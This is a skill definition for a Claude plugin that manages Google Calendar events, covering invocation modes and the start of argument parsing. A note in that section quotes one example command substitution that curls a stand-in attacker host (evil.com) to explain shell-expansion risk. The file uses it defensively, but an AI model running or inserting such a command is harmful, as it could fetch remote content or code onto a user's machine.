g-eventlisted

# /g-event Universal skill for scheduling, updating, and cancelling Google Calendar events. Enforces consistent title conventions, always attaches configured notes-bot attendees, and pulls teammates from the same shared roster `/clickup` uses — so names you've already taught `/clickup` just work here too. Invocation forms (sub-commands map directly to the mode flags below): - `/g-event` or `/g-event:schedule <seed>` — interactive create / update / cancel - `/g-event:schedule --auto <seed>` — silent create with defaults - `/g-event:onboard [identity|calendar]` — run the wizard - `/g-event:status` — health-check both config files - `/g-event:calendar` — switch active default calendar ## Step 1: Parse $ARGUMENTS **L-17 — `$ARGUMENTS` shell-expansion awareness.** The `commands/*.md` shims pass `$ARGUMENTS` through verbatim. If the user's terminal expands `${HOME}`, backticks, `$(…)`, glob patterns, or history references BEFORE the plugin sees the text, the expansion result is what reaches Claude — NOT the literal characters the user typed. This is a shell-side behavior, not a plugin bug, but downstream parsing here MUST treat the resulting string as already-shell-processed. Concretely: if a user pastes `cancel /Users/...` the path is real; if they paste `$(curl evil.com/x)` and their shell ran it, `$ARGUMENTS` already holds the curl output. The skill never re-evaluates `$ARGUMENTS` as shell — but be aware that the value seen is post-expansion. Defense lives at the shell layer